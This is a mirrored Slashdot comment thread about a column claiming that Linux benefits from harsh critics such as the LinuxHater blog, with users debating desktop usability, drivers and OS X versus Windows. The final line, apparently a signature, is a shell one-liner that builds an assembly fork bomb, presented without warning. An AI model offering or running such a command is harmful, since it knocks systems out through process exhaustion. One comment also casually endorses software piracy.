Slashdot Mirror
Linux Needs More Haters
Corrupt brings us a ZDNet column by Jeremy Allison, who says Linux could benefit from more "tough love" in order to improve its functionality and popularity. Excerpting:
"As Elie Wiesel said, 'the opposite of love is not hate, it is indifference.' LinuxHater really doesn't hate Linux, despite the name. No one takes that much time to point out flaws in a product that they completely loathe and despise. The complaints are really cries of frustration with a system that just doesn't quite do what is desired (albeit well disguised). A friend pointed out to me that the best way to parse LinuxHaters blog is to treat it as a series of bug reports. A perl script could probably parse out the useful information from them and log them as technical bug reports to the projects LinuxHater is writing about. Deep down, I believe LinuxHater really loves Linux, and wants it to succeed."
RTFA. "He or she is extremely knowledgeable and able to go into the details of every problem, sometimes as far as analyzing the underlying code and pointing out the problems"
People who make up problems to write malicious articles will probably write equally malicious code and give bogus advice. Let's not forget how M$ sold the Lotus team development tools that M$ developers hated and ignored. Given the size of the free software community, this kind of malice will never be a serious problem but all code needs to be carefully evaluated.
One of the reasons I like Linux so much is that there's so little to complain about. Everything just works. Occasionally there's a driver hunt or compatibility issue, getting a scanner to work, but overall, once it's set up and working, smooth sailing.
That was the way Windows used to be. Everything would install and just work, while the Linux tinkerers spent hours chasing down compatibility issues and combing through HCL's. But Vista changed that perception and the very time Linux was making progress in big leaps.
Five years ago if you wanted a smooth install and minimal fuss you picked Windows 2000 or XP. Now you install Ubuntu or buy a Mac. The reality is probably a little more complex but the perception certainly has changed.
That's our life, the big wheel of shit. - The Fat Man, Blue Tango Salvage
Use the app from this previous article to scan a few popular Linux-hating blogs' articles and comments and maybe you've got yourself a pro-active user feedback tool. Maybe.
Spelling mistakes, grammatical errors, and stupid comments are intentional.
http://www.art.net/~hopkins/Don/unix-haters/x-windows/disaster.html
-Don
Take a look and feel free: http://www.PieMenu.com
I don't read that blog, but in general people complain about things that are not really broken, even more I would stop liking Linux as much as I do if it were "fixed" according to their complains.
Frankly I don't know what is to complain about Linux, except for not running Windows programs (if Wine can't handle them) but that's not a complaint about Linux per se, it's a reality external to Linux and no Linux or free software developer can fix that in a easy way, they don't do it because they are lazy or they don't want to fix it, it's just hard work and Wine people are doing an amazing work.
"It is our choices, Harry, that show what we truly are, far more than our abilities." -- Prof. Dumbledore
OS X is the 'tough love' that Linux needs. I use Linux on the server (although I have a rack of Xserves too) and there's a reason I am happy with it there (unlike OS X).
On the desktop? Well I use a Mac. And I don't think I will ever go back (in the interests of fairness this is being posted from my 'Games and things' XP laptop).
I love the fact Linux is dynamic, and open source. I really do. I don't like the fact that it doesn't seem to 'evolve'. The fragementation of WM's, distro's etc. never actually seems to weed things out. What we never end up with is a 'de facto' solution.
People argue that choice is good. I'm sure it is. But the reason that Windows and OS X still beat Linux on the desktop experience is because they are standardised - there just aren't alternatives. And OS X is a better 'desktop Unix', so as a person who wants that, where else am I meant to go? If nothing else KDE 4 would drive me away... yuck.
I did use Linux on the desktop. For several years. I only tried OS X on a whim.
I don't hate Linux, but I don't think I'm alone. Go to a confernce these days (I'm an academic) and I used to see people booting into myriad versions of Linux as they opened their laptops. These people are now in a minority, as the Apple logo is raised in unison at the beginning of any talk.
Fanboy? Maybe.
I don't read your sig, why do you read mine?
The only thing wrong with linux is lack of availability of 3rd party shrink-wrap type applications and games.
Linux desktop users are extremely reluctant to spend money on software and the Open Source movement essentially means shrinkwrap proprietory software gets shunned, dismissed and worse: the zealots will often take its existence on Linux as a slap to the face of FOSS and create a GPL clone to replace it, just to spite them.
Bringing proprietory desktop software to Linux just isn't worth the effort or risk. Sorry about that.
If Jeremy is correct, then the author of Linux Haters has chosen what is possibly the least likely route to garnering interest from Linux developers. Which linux developer would consciously choose to read a blog that refers to them as a 'luser' incessantly from paragraph to paragraph.
The 'benchmark' OS he seems to use as the basis of the bulk of his criticisms is OSX, an OS I find really frustrating to use (and I use it fairly often these days). If I were to start an OSX Haters on this basis should I expect the Aqua and XCode authors to read it daily in the interests of improving all the braindead things about both those aspects of OSX? Didn't think so.. Maybe the guy just has a crippling case of Internet Rabies induced by deep boredom and Jeremy's simply being a little generous..
There are, afterall, blogs featuring meticulously prepared images of meals that people hated eating. Perhaps this blog is simply in the same vein; just another masochist whiling away the hours in public.
Must be a slow news day.
This "Linux haters" thing is not even wrong. There haven't been any kernel bugs in Linux worth mentioning for at least since version 2 came out. Watch what Linus Torvalds says, there's no plan for version 3 yet. No need.
What makes Windows and OSX more popular than Linux is the same reason why Java is more popular than Python or Ruby, it's corporate sponsorship. With enough marketing, people will pay more for an inferior product, just compare the Asus eeePC Windows version with the Linux version to see what I mean.
This is important to learn in life. When you reject someone that loves you, then they hate you. As long as they hate you, they still love you.
Once they don't care any more then it's over.
It discovered this all on my own when going through a bad breakup so that part of the comment particularly leapt out from the page to me.
She was like chocolate when she drank... semi-sweet at first and then increasingly bitter.
There are far, far less unique drivers needed than there are printers
Sure, a generic driver will run a lot of printers - but it's the options that kill you. PPD files are supposed to take care of that but there are still scads of unique printers (and scanners, and All In One devices) that make this a daunting task. You're right about users, though - they'll see buttons that say "double sided" or "staple" or "tabloid" or "tray 3" and wonder why all that irrelevant stuff shows up for their $49 inkjet. That's what Apple has taken care of. It just works. Linux could get there too if only SOMEONE would organize the efforts of contributors.
"Linux desktop users are extremely reluctant to spend money on software and the Open Source movement essentially means shrinkwrap proprietory software gets shunned, dismissed and worse: the zealots will often take its existence on Linux as a slap to the face of FOSS and create a GPL clone to replace it, just to spite them."
Most Linux users want everything for free, yet some of them also want Windows software. The solution is to develop ever more efficient ways to run Windows software on Linux.
The vast number of folks who wish can run their warez copies of Windows software, the few business users who need legit installs can pay for the software and be legit, and overall Linux adoption will be furthered.
It's realistic to admit that most people want whatever they can grab, so cater to that in a calculated manner.
"This post is an artistic work of fiction and falsehood. Only a fool would take anything posted here as fact."
I count myself in the group of developers that used Linux for a few years, then switched back to Windows.
I had and have one PC at home. To run Linux, I set that machine up dual or triple boot. I was running Red Hat for a while until they changed it into Fedora. I worked with Fedora for a while, but they had a bug with dual booting that they would not only not fix, but called it a feature. I got as far as the version of Fedora that had SELinux in it. Someone told me "Debian is better." I had that as a partition for a while. But I like trying out new software development frameworks and that made for incompatible library versions and apt-get didn't help. I mostly kept with the Fedora, fought the SELinux configuration and got it under control. Then the one PC died.
At this point, I had spent huge amounts of time fiddling with Linux and faced more basic problems, like knowing how much money I had in my checking account.
So I went out and got another PC with Windows pre-installed. It came with Quicken, which I already knew how to use. Later, when I really got into digital photography and purchased Adobe Photoshop Elements. It not only seemed more intuitive then GIMP, it also allows you to organize your photos within the program. When I started shooting RAW mode with my DSLR, it handles that quite nicely too. I also got an iPod and started listening to more music than I had in years.
Since I was no longer trying to keep running Linux, it was not a problem.
This is despite the fact that I have spent 25 years developing software and have many years of Unix experience. I might have thought all that time spent becoming familiar would help me at work. Maybe it did a little. My employer had one contract that I worked on which familiarity with Linux played a role. But otherwise, my employer has about 70 employees, no IT department, and as far as I know, no one else who knows Linux. If I were successful in introducing anything there that ran under Linux, guess who would be supporting it? They have me doing this other job that would not go away while the Linux training and support ramped up.
In my regular job, I select hardware to install as part of integrated systems. I may deal with 20 or 30 such devices while traveling to the customer job sites. All of them either have web configuration or require you to install a support program under Windows. If I were to adopt the stance that I would only run Linux on my work laptop and reject equipment that did not support Linux, we would not be able to complete our jobs and would have a hard time explaining to the customer why we could not complete the job. Actually, I would just get fired and they would hire someone who doesn't have a problem running Windows on their work laptop.
So I run a mix of closed and open source applications on Windows and am happier since I gave up depending on Linux. I have all that free time now to pursue other things. If I want to run Linux, I can boot a Knoppix CD. But I don't really do that very much anymore.
"We can't solve problems by using the same kind of thinking we used when we created them." -- Albert Einstein
1. Vision. You can't have a bunch of haphazard crap floating around in a bunch of different distros and expect it to be adopted by people who have to have accountability.
2. Marketing. Nobody is going to purchase anything when their is no value associated with it. Linux has no value on the desktop simply because their is nobody to blame when "shits all fucked up". You can't point to MS Tech Support and say "We are waiting on our trouble ticket to be resolved". As much as any C?O HATES to hear those words, they also know that they are the words that ensure they don't get "kicked off the team".
3. Drop the fanboishness. Nobody in an enterprise is going to choose a desktop flavor because some pimplefaced geek says it's better than MS. Lets see, who has an actual track record here? And (this is a biggie for enterprises, especially public ones) Let's see, do we place blame on a corporation who we can sue, or do we place blame on the pimple faced geek that talked me into Red Hat, and has now moved on to another job?
Yeah, that's a big one, the actual ability to place and lay blame. Don't give me the Red Hat crap. Yeah, they provide technical support. They also provide no guarantee that anything will work for anyone. You get that with MS, even if it doesn't mean much.
What Linux needs is marketing, vision and a leader.... And by a leader I mean someone who wasn't just out to say "I can do this, and you can't stop me".
Yeah, this will be an unpopular opinion here. Oh well, truth sometimes hurts.
--Toll_Free
I'll give fair crits.
Let me say first and foremost, that I prefer booting into Ubuntu and using that as my daily driver. Sometimes I just can't though.
Here is a list of short reasons why:
Skype seems to be faster, and work better in w32. My video gets sent at higher resolution, and I can hear the other party better. Dunno why, this is just the case.
7zip is screwed up in Linux. I installed a wine version, AND a native version, only the wine version will start and it flickers and won't let me select a package to extract. Making it unusable.
Random crashes. I mean, probably as many or more as I get regularly in Windows, with the added inconvenience of ctrl+alt+bckspce not being near as good as ctrl+alt+delete, which brings up a handy task menu for me to clean up (usually).
No two sound things going at once. Sometimes I like to put on mp3s, and THEN go kill people in Urban Terror. This is easy and works perfect in W32, but not in Ubuntu, I just get the mp3s, and NO sound in a game whilst they are playing.
TVtime not recognizing my TV card. Dscaler turns on perfectly in Windows. So does TVtime in Ubuntu, but then the screen is blue and there is no menu for me to figure out what is wrong, either.
Joost. Works in windows, not in Ubuntu. I'm sure partially Joost's fault, but still sad.
Civilization 2. Best/funnest version of the game, will not play in wine even though it's like 10 years old.
I like how Windows arranges it's GUI, start button, quicklaunch, then task list, then systray and clock. Less real estate, all the same functionality, but without a top AND bottom bar.
Zsnes. Does not work in any way shape or form, or under wine.
What Linux gets RIGHT however is it's ability to find and install 99% of my hardware without me hunting for hours for drivers, inclusion of most of the software I prefer (firefox, gimp, pidgin, open office, cd burner), Compiz Fusion (blows every Windows attempt away!), and it's open source nature. There is something good knowing the code to my machine is inspected by lots of eyes, not just one corporation, and it's also good to know that if I was knowledgeable enough, some of those eyes could be mine.
Honestly Linux feels "closer" than it ever did. It just needs to solve a few naggling issues before it can fully dominate the world by desktop. Another way it could do so is by being AHEAD of the curve. It would be nice if there was a superior FOSS Skype killer, since skype is actually deficient in numerous ways, including not being FOSS. Speex is a better speech compression algorithm, so it would seem like we have the tools in hand to beat the current corporate paradigm too, and yet it sadly isn't happening.
I hold very few opinions. I hold information based on observation and fact. If you wish to disagree, please use facts.
Wasn't there a story a few month back about a guy, a normal guy, some French medic IIRC, that wrote drivers for a few hundred, or thousand, who's counting, webcams? He just wanted to get his webcam to work but ended up writing a framework and churning out driver after after driver. Try doing this on OS X (all webcams come with Windows drivers, so no one has to write them of course).
Oh, what is K3B but a front end to a bunch of commad line tools?
Cheers
Look, that's why there's rules, understand? So that you think before you break 'em. (Terry Pratchett)
My old junker 700MHz Linux box fell to the 'linux curse' where hardware started failing left & right, thus making the OS fail. It happens on every 2ndhand system I install Linux on. So I get a refurbished computer & reinstall linux. Spent over an hour getting the resolutioon BACK to 1024x768 on a Micron monitor. Nothing, NOTHING should ever take that long just to change the desktop resolution. Ubuntu's "desktop resolution" is like a showcase of resolutions you honestly dont want(640x480)
Tbe rest of my time was spent trying to get my account to authenticate in Samba. I have never been so frustrated with one app than Samba. It's just one authentication problem after another.
Of course, linked to that is the really annoying challenge to "Just fix it yourself! You've got the source!" That's an absurd claim.
Yup. I write, among other things, device drivers under Linux for a living. But each time I take a Linux graphical app and try to make some changes to it, it fails. Wrong compiler setup. Wrong libraries. Wrong rpm. Wrong system config. Wrong wrongness.
It's to the point that there are only 3 types of Linux progs that work: the one that comes with the system (and its updates), the simple "./configure; make; make install" and the kind I write myself. Any of that "fix it yourself" is crap.
Non-Linux Penguins ?
i'm not sure that it is 'the only thing wrong with linux', as i think that linux as a distribution has a number of other flaws, but it is remarkable to think that this is where the problem now is. after years of hearing about the complexity and command-line intricacies of gnu/linux as being the showstoppers, i'm reading more and more posts from people saying things like 'ubuntu is just as easy or even easier to use than vista and it has better hardware support, but it's a pain getting WoW running on it'.
do you think it is fair to say that if the next big game was available on ubuntu for example, and for the sake of argument, let's throw the next version of photoshop in there as well, we could see a fairly large movement towards linux distributions on the desktop?
MS has never brought out an OS that had as many haters as Vista. So according to this logic the next version will be great.
Actually from what I have heard, it might indeed be true.
There are many trojans out there that try to "phone home" by sending email, or try to turn your computer into a spambot. They can't do that without binding to port 25, and in Linux, that takes root access.
Good, inexpensive web hosting
OK. I've got karma to burn, but seriously, check out this website first before starting to flame or mod me down - at the very least it's got a funny picture on the page :)
http://www.linuxisforbitches.com/
Seems fairly appropriate given the topic at hand...
Gotta get me one of these!
I agree. Much as some Linux distros try to aim at end users, the basic attitude is still an OS by programmers for programmers.
On second thought, I wonder if it's really that, or just the way the vocal Linux fans see it. They seem to do a good job at dissuading people from using Linux.
Just have some poor non-Linux-user read a thread like this, with the multitude of demands to fix bugs herself (or himself), and people saying that changes to make the OS more usable by laypeople are bad. Do you think that after reading this such a user would have any wish to try Linux?
It's obvious from posts here that a lot of Linux fans just don't want non-programmers to use the OS. They seem to be happiest when few people are using Linux, because:
1. The OS is geared for them, and nobody else
2. They can feel fulfilled by bitching about nobody using Linux
Unfortunately for them, it looks like there's a chance of Linux becoming more mainstream thanks to being bundled on devices like the Eee PC.
For the rest of the 99% of the world's computer users, it's an instant deal breaker.
Exactly. That's why more software companies need to publish software for Linux. Just a couple of days ago, I purchased a commercial software package for Linux. I think the time of Linux is just beginning. :-)
I use linux as my only OS. I don't agree that lack of shinkwrapped apps is the only problem. In fact, I don't perceive the lack of shinkwrapped apps as a problem at all. I'm not into gaming, and as far as the rest of the software that I see on the aisles of retail stores, my usual thought when I look at it is My god, these poor shmucks pay $60 for this? I have software on linux that does the same thing, and it's free. I'm not saying that you're wrong to want to run games. I'm just saying that your perception of that as the main problem is valid for some people like you, and not valid for some other people like me.
Here's my list of the main things that I perceive as problems with linux:
Find free books.
This reminds me of the Unix Hater's Handbook from the 90's. It's available for download.
Not when you are a customer. Yes, Linux is F/OSS. But if you want users, then treat them as customers. If you ignore people, lose bug reports, call them stupid, tell them to RTFM, or tell them to fix it themselves, don't be surprised when you lose them.
This does not run contrary to my statement. Strictly commercial concerns can and often do ignore "[X] sucks because it isn't exactly like [Y]", "I did such-and-such with [X] and it didn't work; therefore, [X] is the most worthless piece of garbage ever", and so on because they aren't useful criticisms, they're just cranky bitching. The people who stand the chance of changing products and/or policy are the ones who make a reasonable, informative complaint rather than throwing a tantrum when they don't get their way immediately.
Don't mistake this for excusing people in the F/OSS community who act like dicks, because they are indeed out there. But if you go in expecting to be greeted with hostility, it's going to be apparent in your tone, and at best you'll get *polite* hostility in return.
What annoys me about Linux users is the assumption that everyone who doesn't run it is essentially ignorant of the possibilities.
But I've tried it a couple of times. Each time was an epic battle getting all my newish hardware to work. And even after I did it, the free software versions of all the commercial software I use are completely amateurish. And I basically don't like the way Linux is developed - "Looks good and compiles ok, ship it!". People that have spent time on commercial software know that not doing an enormous amount of testing just means that you have to do an enormous amount of tech support. And with Linux the tech support is some teenage idiot on IRC who knows less about the platform than you do.
And I hate the idea that software development is about making things easy for developers as opposed to users. You can see this in the "No Stable API" rule. It means the kernel developers have freedom to refactor, but it also means that the only way you can get driver support for your card is if you hand over the source code to them and integrate it in the kernel. Microsoft, whatever its other failings doesn't work like this. Windows APIs are very stable across different OS versions. Even things which were not officially part of the API like stuff higher up on the stack will be faked in Windows N+1 if important applications depended on it in Windows N and earlier. Windows will shim even broken applications to keep them working when its internal structure changes.
Not having stable kernel APIs just allows the kernel people to release unfinished stuff and then rework it a dozen times. No one cares about this shit except for them - its not like most of it has much of an effect on performance. Sure the code might be beautiful to the person who wrote it, but that's a bit like babies being beautiful to their mothers. The rest of us can't see that.
And the very worst thing about it is that new programmers come out of uni thinking the Linux way is the best one. And they create chaos in the commercial world, where if you release something and it doesn't work absolutely 100% of the time when tested by non experts, the company has a serious problem. Or if the customers applications all fail to build on the new platform, that's a problem too.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;